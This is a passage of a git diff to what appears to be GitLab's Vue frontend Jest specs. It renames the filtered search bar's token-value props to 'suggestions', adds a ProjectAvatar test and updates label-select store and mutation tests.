-import { shallowMount } from '@vue/test-utils';
-import { nextTick } from 'vue';
-import { EDITOR_READY_EVENT } from '~/editor/constants';
-import Editor from '~/editor/editor_lite';
-import EditorLite from '~/vue_shared/components/editor_lite.vue';
-
-jest.mock('~/editor/editor_lite');
-
-describe('Editor Lite component', () => {
- let wrapper;
- let mockInstance;
-
- const value = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.';
- const fileName = 'lorem.txt';
- const fileGlobalId = 'snippet_777';
- const createInstanceMock = jest.fn().mockImplementation(() => {
- mockInstance = {
- onDidChangeModelContent: jest.fn(),
- updateModelLanguage: jest.fn(),
- getValue: jest.fn(),
- setValue: jest.fn(),
- dispose: jest.fn(),
- };
- return mockInstance;
- });
-
- Editor.mockImplementation(() => {
- return {
- createInstance: createInstanceMock,
- };
- });
- function createComponent(props = {}) {
- wrapper = shallowMount(EditorLite, {
- propsData: {
- value,
- fileName,
- fileGlobalId,
- ...props,
- },
- });
- }
-
- beforeEach(() => {
- createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- const triggerChangeContent = (val) => {
- mockInstance.getValue.mockReturnValue(val);
- const [cb] = mockInstance.onDidChangeModelContent.mock.calls[0];
-
- cb();
-
- jest.runOnlyPendingTimers();
- };
-
- describe('rendering', () => {
- it('matches the snapshot', () => {
- expect(wrapper.element).toMatchSnapshot();
- });
-
- it('renders content', () => {
- expect(wrapper.text()).toContain(value);
- });
- });
-
- describe('functionality', () => {
- it('does not fail without content', () => {
- const spy = jest.spyOn(global.console, 'error');
- createComponent({ value: undefined });
-
- expect(spy).not.toHaveBeenCalled();
- expect(wrapper.find('[id^="editor-lite-"]').exists()).toBe(true);
- });
-
- it('initialises Editor Lite instance', () => {
- const el = wrapper.find({ ref: 'editor' }).element;
- expect(createInstanceMock).toHaveBeenCalledWith({
- el,
- blobPath: fileName,
- blobGlobalId: fileGlobalId,
- blobContent: value,
- extensions: null,
- });
- });
-
- it('reacts to the changes in fileName', () => {
- const newFileName = 'ipsum.txt';
-
- wrapper.setProps({
- fileName: newFileName,
- });
-
- return nextTick().then(() => {
- expect(mockInstance.updateModelLanguage).toHaveBeenCalledWith(newFileName);
- });
- });
-
- it('registers callback with editor onChangeContent', () => {
- expect(mockInstance.onDidChangeModelContent).toHaveBeenCalledWith(expect.any(Function));
- });
-
- it('emits input event when the blob content is changed', () => {
- expect(wrapper.emitted().input).toBeUndefined();
-
- triggerChangeContent(value);
-
- expect(wrapper.emitted().input).toEqual([[value]]);
- });
-
- it('emits EDITOR_READY_EVENT event when the Editor Lite is ready', async () => {
- const el = wrapper.find({ ref: 'editor' }).element;
- expect(wrapper.emitted()[EDITOR_READY_EVENT]).toBeUndefined();
-
- await el.dispatchEvent(new Event(EDITOR_READY_EVENT));
-
- expect(wrapper.emitted()[EDITOR_READY_EVENT]).toBeDefined();
- });
-
- it('component API `getEditor()` returns the editor instance', () => {
- expect(wrapper.vm.getEditor()).toBe(mockInstance);
- });
-
- describe('reaction to the value update', () => {
- it('reacts to the changes in the passed value', async () => {
- const newValue = 'New Value';
-
- wrapper.setProps({
- value: newValue,
- });
-
- await nextTick();
- expect(mockInstance.setValue).toHaveBeenCalledWith(newValue);
- });
-
- it("does not update value if the passed one is exactly the same as the editor's content", async () => {
- const newValue = `${value}`; // to make sure we're creating a new String with the same content and not just a reference
-
- wrapper.setProps({
- value: newValue,
- });
-
- await nextTick();
- expect(mockInstance.setValue).not.toHaveBeenCalled();
- });
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/file_finder/index_spec.js b/spec/frontend/vue_shared/components/file_finder/index_spec.js
index d757b7fac72..181fc4017a3 100644
--- a/spec/frontend/vue_shared/components/file_finder/index_spec.js
+++ b/spec/frontend/vue_shared/components/file_finder/index_spec.js
@@ -154,6 +154,16 @@ describe('File finder item spec', () => {
});
});
+ describe('DOM Performance', () => {
+ it('renders less DOM nodes if not visible by utilizing v-if', async () => {
+ vm.visible = false;
+
+ await waitForPromises();
+
+ expect(vm.$el).toBeInstanceOf(Comment);
+ });
+ });
+
describe('watches', () => {
describe('searchText', () => {
it('resets focusedIndex when updated', (done) => {
@@ -169,7 +179,7 @@ describe('File finder item spec', () => {
});
describe('visible', () => {
- it('returns searchText when false', (done) => {
+ it('resets searchText when changed to false', (done) => {
vm.searchText = 'test';
vm.visible = true;
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/filtered_search_utils_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/filtered_search_utils_spec.js
index 93cddff8421..1b97011bf7f 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/filtered_search_utils_spec.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/filtered_search_utils_spec.js
@@ -11,7 +11,7 @@ import {
processFilters,
filterToQueryObject,
urlQueryToFilter,
- getRecentlyUsedTokenValues,
+ getRecentlyUsedSuggestions,
setTokenValueToRecentlyUsed,
} from '~/vue_shared/components/filtered_search_bar/filtered_search_utils';
@@ -328,32 +328,32 @@ describe('urlQueryToFilter', () => {
);
});
-describe('getRecentlyUsedTokenValues', () => {
+describe('getRecentlyUsedSuggestions', () => {
useLocalStorageSpy();
beforeEach(() => {
localStorage.removeItem(mockStorageKey);
});
- it('returns array containing recently used token values from provided recentTokenValuesStorageKey', () => {
+ it('returns array containing recently used token values from provided recentSuggestionsStorageKey', () => {
setLocalStorageAvailability(true);
const mockExpectedArray = [{ foo: 'bar' }];
localStorage.setItem(mockStorageKey, JSON.stringify(mockExpectedArray));
- expect(getRecentlyUsedTokenValues(mockStorageKey)).toEqual(mockExpectedArray);
+ expect(getRecentlyUsedSuggestions(mockStorageKey)).toEqual(mockExpectedArray);
});
- it('returns empty array when provided recentTokenValuesStorageKey does not have anything in localStorage', () => {
+ it('returns empty array when provided recentSuggestionsStorageKey does not have anything in localStorage', () => {
setLocalStorageAvailability(true);
- expect(getRecentlyUsedTokenValues(mockStorageKey)).toEqual([]);
+ expect(getRecentlyUsedSuggestions(mockStorageKey)).toEqual([]);
});
it('returns empty array when when access to localStorage is not available', () => {
setLocalStorageAvailability(false);
- expect(getRecentlyUsedTokenValues(mockStorageKey)).toEqual([]);
+ expect(getRecentlyUsedSuggestions(mockStorageKey)).toEqual([]);
});
});
@@ -366,7 +366,7 @@ describe('setTokenValueToRecentlyUsed', () => {
localStorage.removeItem(mockStorageKey);
});
- it('adds provided tokenValue to localStorage for recentTokenValuesStorageKey', () => {
+ it('adds provided tokenValue to localStorage for recentSuggestionsStorageKey', () => {
setLocalStorageAvailability(true);
setTokenValueToRecentlyUsed(mockStorageKey, mockTokenValue1);
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/author_token_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/author_token_spec.js
index 951b050495c..74f579e77ed 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/author_token_spec.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/author_token_spec.js
@@ -94,7 +94,7 @@ describe('AuthorToken', () => {
it('calls `config.fetchAuthors` with provided searchTerm param', () => {
jest.spyOn(wrapper.vm.config, 'fetchAuthors');
- getBaseToken().vm.$emit('fetch-token-values', mockAuthors[0].username);
+ getBaseToken().vm.$emit('fetch-suggestions', mockAuthors[0].username);
expect(wrapper.vm.config.fetchAuthors).toHaveBeenCalledWith(
mockAuthorToken.fetchPath,
@@ -105,17 +105,17 @@ describe('AuthorToken', () => {
it('sets response to `authors` when request is succesful', () => {
jest.spyOn(wrapper.vm.config, 'fetchAuthors').mockResolvedValue(mockAuthors);
- getBaseToken().vm.$emit('fetch-token-values', 'root');
+ getBaseToken().vm.$emit('fetch-suggestions', 'root');
return waitForPromises().then(() => {
- expect(getBaseToken().props('tokenValues')).toEqual(mockAuthors);
+ expect(getBaseToken().props('suggestions')).toEqual(mockAuthors);
});
});
it('calls `createFlash` with flash error message when request fails', () => {
jest.spyOn(wrapper.vm.config, 'fetchAuthors').mockRejectedValue({});
- getBaseToken().vm.$emit('fetch-token-values', 'root');
+ getBaseToken().vm.$emit('fetch-suggestions', 'root');
return waitForPromises().then(() => {
expect(createFlash).toHaveBeenCalledWith({
@@ -127,17 +127,17 @@ describe('AuthorToken', () => {
it('sets `loading` to false when request completes', async () => {
jest.spyOn(wrapper.vm.config, 'fetchAuthors').mockRejectedValue({});
- getBaseToken().vm.$emit('fetch-token-values', 'root');
+ getBaseToken().vm.$emit('fetch-suggestions', 'root');
await waitForPromises();
- expect(getBaseToken().props('tokensListLoading')).toBe(false);
+ expect(getBaseToken().props('suggestionsLoading')).toBe(false);
});
});
});
describe('template', () => {
- const activateTokenValuesList = async () => {
+ const activateSuggestionsList = async () => {
const tokenSegments = wrapper.findAllComponents(GlFilteredSearchTokenSegment);
const suggestionsSegment = tokenSegments.at(2);
suggestionsSegment.vm.$emit('activate');
@@ -154,7 +154,7 @@ describe('AuthorToken', () => {
expect(baseTokenEl.exists()).toBe(true);
expect(baseTokenEl.props()).toMatchObject({
- tokenValues: mockAuthors,
+ suggestions: mockAuthors,
fnActiveTokenValue: wrapper.vm.getActiveAuthor,
});
});
@@ -221,7 +221,7 @@ describe('AuthorToken', () => {
stubs: { Portal: true },
});
- await activateTokenValuesList();
+ await activateSuggestionsList();
const suggestions = wrapper.findAll(GlFilteredSearchSuggestion);
@@ -252,7 +252,7 @@ describe('AuthorToken', () => {
stubs: { Portal: true },
});
- await activateTokenValuesList();
+ await activateSuggestionsList();
const suggestions = wrapper.findAll(GlFilteredSearchSuggestion);
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/base_token_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/base_token_spec.js
index 89c5cedc9b8..cd6ffd679d0 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/base_token_spec.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/base_token_spec.js
@@ -7,7 +7,7 @@ import {
import { DEFAULT_LABELS } from '~/vue_shared/components/filtered_search_bar/constants';
import {
- getRecentlyUsedTokenValues,
+ getRecentlyUsedSuggestions,
setTokenValueToRecentlyUsed,
} from '~/vue_shared/components/filtered_search_bar/filtered_search_utils';
import BaseToken from '~/vue_shared/components/filtered_search_bar/tokens/base_token.vue';
@@ -49,10 +49,10 @@ const mockProps = {
config: mockLabelToken,
value: { data: '' },
active: false,
- tokenValues: [],
- tokensListLoading: false,
- defaultTokenValues: DEFAULT_LABELS,
- recentTokenValuesStorageKey: mockStorageKey,
+ suggestions: [],
+ suggestionsLoading: false,
+ defaultSuggestions: DEFAULT_LABELS,
+ recentSuggestionsStorageKey: mockStorageKey,
fnCurrentTokenValue: jest.fn(),
};
@@ -83,7 +83,7 @@ describe('BaseToken', () => {
props: {
...mockProps,
value: { data: `"${mockRegularLabel.title}"` },
- tokenValues: mockLabels,
+ suggestions: mockLabels,
},
});
});
@@ -93,8 +93,8 @@ describe('BaseToken', () => {
});
describe('data', () => {
- it('calls `getRecentlyUsedTokenValues` to populate `recentTokenValues` when `recentTokenValuesStorageKey` is defined', () => {
- expect(getRecentlyUsedTokenValues).toHaveBeenCalledWith(mockStorageKey);
+ it('calls `getRecentlyUsedSuggestions` to populate `recentSuggestions` when `recentSuggestionsStorageKey` is defined', () => {
+ expect(getRecentlyUsedSuggestions).toHaveBeenCalledWith(mockStorageKey);
});
});
@@ -147,15 +147,15 @@ describe('BaseToken', () => {
wrapperWithTokenActive.destroy();
});
- it('emits `fetch-token-values` event on the component when value of this prop is changed to false and `tokenValues` array is empty', async () => {
+ it('emits `fetch-suggestions` event on the component when value of this prop is changed to false and `suggestions` array is empty', async () => {
wrapperWithTokenActive.setProps({
active: false,
});
await wrapperWithTokenActive.vm.$nextTick();
- expect(wrapperWithTokenActive.emitted('fetch-token-values')).toBeTruthy();
- expect(wrapperWithTokenActive.emitted('fetch-token-values')).toEqual([
+ expect(wrapperWithTokenActive.emitted('fetch-suggestions')).toBeTruthy();
+ expect(wrapperWithTokenActive.emitted('fetch-suggestions')).toEqual([
[`"${mockRegularLabel.title}"`],
]);
});
@@ -164,7 +164,7 @@ describe('BaseToken', () => {
describe('methods', () => {
describe('handleTokenValueSelected', () => {
- it('calls `setTokenValueToRecentlyUsed` when `recentTokenValuesStorageKey` is defined', () => {
+ it('calls `setTokenValueToRecentlyUsed` when `recentSuggestionsStorageKey` is defined', () => {
const mockTokenValue = {
id: 1,
title: 'Foo',
@@ -175,14 +175,14 @@ describe('BaseToken', () => {
expect(setTokenValueToRecentlyUsed).toHaveBeenCalledWith(mockStorageKey, mockTokenValue);
});
- it('does not add token from preloadedTokenValues', async () => {
+ it('does not add token from preloadedSuggestions', async () => {
const mockTokenValue = {
id: 1,
title: 'Foo',
};
wrapper.setProps({
- preloadedTokenValues: [mockTokenValue],
+ preloadedSuggestions: [mockTokenValue],
});
await wrapper.vm.$nextTick();
@@ -228,7 +228,7 @@ describe('BaseToken', () => {
wrapperWithNoStubs.destroy();
});
- it('emits `fetch-token-values` event on component after a delay when component emits `input` event', async () => {
+ it('emits `fetch-suggestions` event on component after a delay when component emits `input` event', async () => {
jest.useFakeTimers();
wrapperWithNoStubs.find(GlFilteredSearchToken).vm.$emit('input', { data: 'foo' });
@@ -236,8 +236,8 @@ describe('BaseToken', () => {
jest.runAllTimers();
- expect(wrapperWithNoStubs.emitted('fetch-token-values')).toBeTruthy();
- expect(wrapperWithNoStubs.emitted('fetch-token-values')[2]).toEqual(['foo']);
+ expect(wrapperWithNoStubs.emitted('fetch-suggestions')).toBeTruthy();
+ expect(wrapperWithNoStubs.emitted('fetch-suggestions')[2]).toEqual(['foo']);
});
});
});
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/iteration_token_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/iteration_token_spec.js
index ca5dc984ae0..bd654c5a9cb 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/iteration_token_spec.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/iteration_token_spec.js
@@ -7,7 +7,7 @@ import { mockIterationToken } from '../mock_data';
jest.mock('~/flash');
describe('IterationToken', () => {
- const title = 'gitlab-org: #1';
+ const id = 123;
let wrapper;
const createComponent = ({ config = mockIterationToken, value = { data: '' } } = {}) =>
@@ -28,14 +28,14 @@ describe('IterationToken', () => {
});
it('renders iteration value', async () => {
- wrapper = createComponent({ value: { data: title } });
+ wrapper = createComponent({ value: { data: id } });
await wrapper.vm.$nextTick();
const tokenSegments = wrapper.findAllComponents(GlFilteredSearchTokenSegment);
expect(tokenSegments).toHaveLength(3); // `Iteration` `=` `gitlab-org: #1`
- expect(tokenSegments.at(2).text()).toBe(title);
+ expect(tokenSegments.at(2).text()).toBe(id.toString());
});
it('fetches initial values', () => {
@@ -43,10 +43,10 @@ describe('IterationToken', () => {
wrapper = createComponent({
config: { ...mockIterationToken, fetchIterations: fetchIterationsSpy },
- value: { data: title },
+ value: { data: id },
});
- expect(fetchIterationsSpy).toHaveBeenCalledWith(title);
+ expect(fetchIterationsSpy).toHaveBeenCalledWith(id);
});
it('fetches iterations on user input', () => {
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/label_token_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/label_token_spec.js
index cc40ff96b65..ec9458f64d2 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/label_token_spec.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/label_token_spec.js
@@ -159,7 +159,7 @@ describe('LabelToken', () => {
expect(baseTokenEl.exists()).toBe(true);
expect(baseTokenEl.props()).toMatchObject({
- tokenValues: mockLabels,
+ suggestions: mockLabels,
fnActiveTokenValue: wrapper.vm.getActiveLabel,
});
});
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/milestone_token_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/milestone_token_spec.js
index 9f550ac9afc..74ceb03bb96 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/tokens/milestone_token_spec.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/tokens/milestone_token_spec.js
@@ -9,6 +9,7 @@ import MockAdapter from 'axios-mock-adapter';
import waitForPromises from 'helpers/wait_for_promises';
import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
+import { sortMilestonesByDueDate } from '~/milestones/milestone_utils';
import { DEFAULT_MILESTONES } from '~/vue_shared/components/filtered_search_bar/constants';
import MilestoneToken from '~/vue_shared/components/filtered_search_bar/tokens/milestone_token.vue';
@@ -21,6 +22,7 @@ import {
} from '../mock_data';
jest.mock('~/flash');
+jest.mock('~/milestones/milestone_utils');
const defaultStubs = {
Portal: true,
@@ -112,6 +114,7 @@ describe('MilestoneToken', () => {
return waitForPromises().then(() => {
expect(wrapper.vm.milestones).toEqual(mockMilestones);
+ expect(sortMilestonesByDueDate).toHaveBeenCalled();
});
});
diff --git a/spec/frontend/vue_shared/components/notes/__snapshots__/placeholder_note_spec.js.snap b/spec/frontend/vue_shared/components/notes/__snapshots__/placeholder_note_spec.js.snap
index f3ce03796f9..5e956d66b6a 100644
--- a/spec/frontend/vue_shared/components/notes/__snapshots__/placeholder_note_spec.js.snap
+++ b/spec/frontend/vue_shared/components/notes/__snapshots__/placeholder_note_spec.js.snap
@@ -55,6 +55,8 @@ exports[`Issue placeholder note component matches snapshot 1`] = `
<p>
Foo
</p>
+
+
</div>
</div>
</div>
diff --git a/spec/frontend/vue_shared/components/paginated_list_spec.js b/spec/frontend/vue_shared/components/paginated_list_spec.js
index c0ee49f194f..9f819cc4e94 100644
--- a/spec/frontend/vue_shared/components/paginated_list_spec.js
+++ b/spec/frontend/vue_shared/components/paginated_list_spec.js
@@ -7,9 +7,11 @@ describe('Pagination links component', () => {
let glPaginatedList;
const template = `
- <div class="slot" slot-scope="{ listItem }">
- <span class="item">Item Name: {{listItem.id}}</span>
- </div>
+ <template #default="{ listItem }">
+ <div class="slot">
+ <span class="item">Item Name: {{ listItem.id }}</span>
+ </div>
+ </template>
`;
const props = {
diff --git a/spec/frontend/vue_shared/components/project_avatar/default_spec.js b/spec/frontend/vue_shared/components/project_avatar/default_spec.js
index 0daadeebc20..84dad2374cb 100644
--- a/spec/frontend/vue_shared/components/project_avatar/default_spec.js
+++ b/spec/frontend/vue_shared/components/project_avatar/default_spec.js
@@ -3,7 +3,7 @@ import mountComponent from 'helpers/vue_mount_component_helper';
import { projectData } from 'jest/ide/mock_data';
import { TEST_HOST } from 'spec/test_constants';
import { getFirstCharacterCapitalized } from '~/lib/utils/text_utility';
-import ProjectAvatarDefault from '~/vue_shared/components/project_avatar/default.vue';
+import ProjectAvatarDefault from '~/vue_shared/components/deprecated_project_avatar/default.vue';
describe('ProjectAvatarDefault component', () => {
const Component = Vue.extend(ProjectAvatarDefault);
diff --git a/spec/frontend/vue_shared/components/project_avatar_spec.js b/spec/frontend/vue_shared/components/project_avatar_spec.js
new file mode 100644
index 00000000000..d55f3127a74
--- /dev/null
+++ b/spec/frontend/vue_shared/components/project_avatar_spec.js
@@ -0,0 +1,67 @@
+import { GlAvatar } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import ProjectAvatar from '~/vue_shared/components/project_avatar.vue';
+
+const defaultProps = {
+ projectName: 'GitLab',
+};
+
+describe('ProjectAvatar', () => {
+ let wrapper;
+
+ const findGlAvatar = () => wrapper.findComponent(GlAvatar);
+
+ const createComponent = ({ props, attrs } = {}) => {
+ wrapper = shallowMount(ProjectAvatar, { propsData: { ...defaultProps, ...props }, attrs });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders GlAvatar with correct props', () => {
+ createComponent();
+
+ const avatar = findGlAvatar();
+ expect(avatar.exists()).toBe(true);
+ expect(avatar.props()).toMatchObject({
+ alt: defaultProps.projectName,
+ entityName: defaultProps.projectName,
+ size: 32,
+ src: '',
+ });
+ });
+
+ describe('with `size` prop', () => {
+ it('renders GlAvatar with specified `size` prop', () => {
+ const mockSize = 48;
+ createComponent({ props: { size: mockSize } });
+
+ const avatar = findGlAvatar();
+ expect(avatar.props('size')).toBe(mockSize);
+ });
+ });
+
+ describe('with `projectAvatarUrl` prop', () => {
+ it('renders GlAvatar with specified `src` prop', () => {
+ const mockProjectAvatarUrl = 'https://gitlab.com';
+ createComponent({ props: { projectAvatarUrl: mockProjectAvatarUrl } });
+
+ const avatar = findGlAvatar();
+ expect(avatar.props('src')).toBe(mockProjectAvatarUrl);
+ });
+ });
+
+ describe.each`
+ alt
+ ${''}
+ ${'custom-alt'}
+ `('when `alt` prop is "$alt"', ({ alt }) => {
+ it('renders GlAvatar with specified `alt` attribute', () => {
+ createComponent({ props: { alt } });
+
+ const avatar = findGlAvatar();
+ expect(avatar.props('alt')).toBe(alt);
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/project_selector/project_list_item_spec.js b/spec/frontend/vue_shared/components/project_selector/project_list_item_spec.js
index 649eb2643f1..ab028ea52b7 100644
--- a/spec/frontend/vue_shared/components/project_selector/project_list_item_spec.js
+++ b/spec/frontend/vue_shared/components/project_selector/project_list_item_spec.js
@@ -1,5 +1,6 @@
import { shallowMount, createLocalVue } from '@vue/test-utils';
import { trimText } from 'helpers/text_helper';
+import ProjectAvatar from '~/vue_shared/components/deprecated_project_avatar/default.vue';
import ProjectListItem from '~/vue_shared/components/project_selector/project_list_item.vue';
const localVue = createLocalVue();
@@ -53,7 +54,7 @@ describe('ProjectListItem component', () => {
it(`renders the project avatar`, () => {
wrapper = shallowMount(Component, options);
- expect(wrapper.find('.js-project-avatar').exists()).toBe(true);
+ expect(wrapper.findComponent(ProjectAvatar).exists()).toBe(true);
});
it(`renders a simple namespace name with a trailing slash`, () => {
diff --git a/spec/frontend/vue_shared/components/resizable_chart/__snapshots__/resizable_chart_container_spec.js.snap b/spec/frontend/vue_shared/components/resizable_chart/__snapshots__/resizable_chart_container_spec.js.snap
index add0c36a120..cdfe311acd9 100644
--- a/spec/frontend/vue_shared/components/resizable_chart/__snapshots__/resizable_chart_container_spec.js.snap
+++ b/spec/frontend/vue_shared/components/resizable_chart/__snapshots__/resizable_chart_container_spec.js.snap
@@ -2,20 +2,22 @@
exports[`Resizable Chart Container renders the component 1`] = `
<div>
- <div
- class="slot"
- >
- <span
- class="width"
+ <template>
+ <div
+ class="slot"
>
- 0
- </span>
-
- <span
- class="height"
- >
- 0
- </span>
- </div>
+ <span
+ class="width"
+ >
+ 0
+ </span>
+
+ <span
+ class="height"
+ >
+ 0
+ </span>
+ </div>
+ </template>
</div>
`;
diff --git a/spec/frontend/vue_shared/components/resizable_chart/resizable_chart_container_spec.js b/spec/frontend/vue_shared/components/resizable_chart/resizable_chart_container_spec.js
index 1fce3c5d0b0..40f0c0f29f2 100644
--- a/spec/frontend/vue_shared/components/resizable_chart/resizable_chart_container_spec.js
+++ b/spec/frontend/vue_shared/components/resizable_chart/resizable_chart_container_spec.js
@@ -16,10 +16,12 @@ describe('Resizable Chart Container', () => {
wrapper = mount(ResizableChartContainer, {
scopedSlots: {
default: `
- <div class="slot" slot-scope="{ width, height }">
- <span class="width">{{width}}</span>
- <span class="height">{{height}}</span>
- </div>
+ <template #default="{ width, height }">
+ <div class="slot">
+ <span class="width">{{width}}</span>
+ <span class="height">{{height}}</span>
+ </div>
+ </template>
`,
},
});
diff --git a/spec/frontend/vue_shared/components/security_reports/artifact_downloads/merge_request_artifact_download_spec.js b/spec/frontend/vue_shared/components/security_reports/artifact_downloads/merge_request_artifact_download_spec.js
index d58c87d66cb..395c74dcba6 100644
--- a/spec/frontend/vue_shared/components/security_reports/artifact_downloads/merge_request_artifact_download_spec.js
+++ b/spec/frontend/vue_shared/components/security_reports/artifact_downloads/merge_request_artifact_download_spec.js
@@ -3,7 +3,7 @@ import Vue from 'vue';
import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import {
- expectedDownloadDropdownProps,
+ expectedDownloadDropdownPropsWithTitle,
securityReportMergeRequestDownloadPathsQueryResponse,
} from 'jest/vue_shared/security_reports/mock_data';
import createFlash from '~/flash';
@@ -80,7 +80,7 @@ describe('Merge request artifact Download', () => {
});
it('renders the download dropdown', () => {
- expect(findDownloadDropdown().props()).toEqual(expectedDownloadDropdownProps);
+ expect(findDownloadDropdown().props()).toEqual(expectedDownloadDropdownPropsWithTitle);
});
});
diff --git a/spec/frontend/vue_shared/components/sidebar/copyable_field_spec.js b/spec/frontend/vue_shared/components/sidebar/copyable_field_spec.js
index b99b1a66b79..3980033862e 100644
--- a/spec/frontend/vue_shared/components/sidebar/copyable_field_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/copyable_field_spec.js
@@ -1,4 +1,4 @@
-import { GlLoadingIcon } from '@gitlab/ui';
+import { GlLoadingIcon, GlSprintf } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
import CopyableField from '~/vue_shared/components/sidebar/copyable_field.vue';
@@ -14,6 +14,9 @@ describe('SidebarCopyableField', () => {
const createComponent = (propsData = defaultProps) => {
wrapper = shallowMount(CopyableField, {
propsData,
+ stubs: {
+ GlSprintf,
+ },
});
};
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_labels_view_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_labels_view_spec.js
index 60903933505..06ea88c09a0 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_labels_view_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_labels_view_spec.js
@@ -54,7 +54,6 @@ describe('DropdownContentsLabelsView', () => {
afterEach(() => {
wrapper.destroy();
- wrapper = null;
});
const findDropdownContent = () => wrapper.find('[data-testid="dropdown-content"]');
@@ -381,6 +380,15 @@ describe('DropdownContentsLabelsView', () => {
expect(findDropdownFooter().exists()).toBe(false);
});
+ it('does not render footer list items when `allowLabelCreate` is false and `labelsManagePath` is null', () => {
+ createComponent({
+ ...mockConfig,
+ allowLabelCreate: false,
+ labelsManagePath: null,
+ });
+ expect(findDropdownFooter().exists()).toBe(false);
+ });
+
it('renders footer list items when `state.variant` is "embedded"', () => {
expect(findDropdownFooter().exists()).toBe(true);
});
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/store/actions_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/store/actions_spec.js
index 3f11095cb04..46ade5d5857 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/store/actions_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/store/actions_spec.js
@@ -1,11 +1,14 @@
import MockAdapter from 'axios-mock-adapter';
import testAction from 'helpers/vuex_action_helper';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import * as actions from '~/vue_shared/components/sidebar/labels_select_vue/store/actions';
import * as types from '~/vue_shared/components/sidebar/labels_select_vue/store/mutation_types';
import defaultState from '~/vue_shared/components/sidebar/labels_select_vue/store/state';
+jest.mock('~/flash');
+
describe('LabelsSelect Actions', () => {
let state;
const mockInitialState = {
@@ -91,10 +94,6 @@ describe('LabelsSelect Actions', () => {
});
describe('receiveLabelsFailure', () => {
- beforeEach(() => {
- setFixtures('<div class="flash-container"></div>');
- });
-
it('sets value `state.labelsFetchInProgress` to `false`', (done) => {
testAction(
actions.receiveLabelsFailure,
@@ -109,9 +108,7 @@ describe('LabelsSelect Actions', () => {
it('shows flash error', () => {
actions.receiveLabelsFailure({ commit: () => {} });
- expect(document.querySelector('.flash-container .flash-text').innerText.trim()).toBe(
- 'Error fetching labels.',
- );
+ expect(createFlash).toHaveBeenCalledWith({ message: 'Error fetching labels.' });
});
});
@@ -186,10 +183,6 @@ describe('LabelsSelect Actions', () => {
});
describe('receiveCreateLabelFailure', () => {
- beforeEach(() => {
- setFixtures('<div class="flash-container"></div>');
- });
-
it('sets value `state.labelCreateInProgress` to `false`', (done) => {
testAction(
actions.receiveCreateLabelFailure,
@@ -204,9 +197,7 @@ describe('LabelsSelect Actions', () => {
it('shows flash error', () => {
actions.receiveCreateLabelFailure({ commit: () => {} });
- expect(document.querySelector('.flash-container .flash-text').innerText.trim()).toBe(
- 'Error creating label.',
- );
+ expect(createFlash).toHaveBeenCalledWith({ message: 'Error creating label.' });
});
});
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/store/mutations_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/store/mutations_spec.js
index ab266ac8aed..1d2a9c34599 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/store/mutations_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/store/mutations_spec.js
@@ -153,7 +153,16 @@ describe('LabelsSelect Mutations', () => {
});
describe(`${types.UPDATE_SELECTED_LABELS}`, () => {
- const labels = [{ id: 1 }, { id: 2 }, { id: 3 }, { id: 4 }];
+ let labels;
+
+ beforeEach(() => {
+ labels = [
+ { id: 1, title: 'scoped::test', set: true },
+ { id: 2, set: false, title: 'scoped::one' },
+ { id: 3, title: '' },
+ { id: 4, title: '' },
+ ];
+ });
it('updates `state.labels` to include `touched` and `set` props based on provided `labels` param', () => {
const updatedLabelIds = [2];
@@ -169,5 +178,23 @@ describe('LabelsSelect Mutations', () => {
}
});
});
+
+ describe('when label is scoped', () => {
+ it('unsets the currently selected scoped label and sets the current label', () => {
+ const state = {
+ labels,
+ };
+ mutations[types.UPDATE_SELECTED_LABELS](state, {
+ labels: [{ id: 2, title: 'scoped::one' }],
+ });
+
+ expect(state.labels).toEqual([
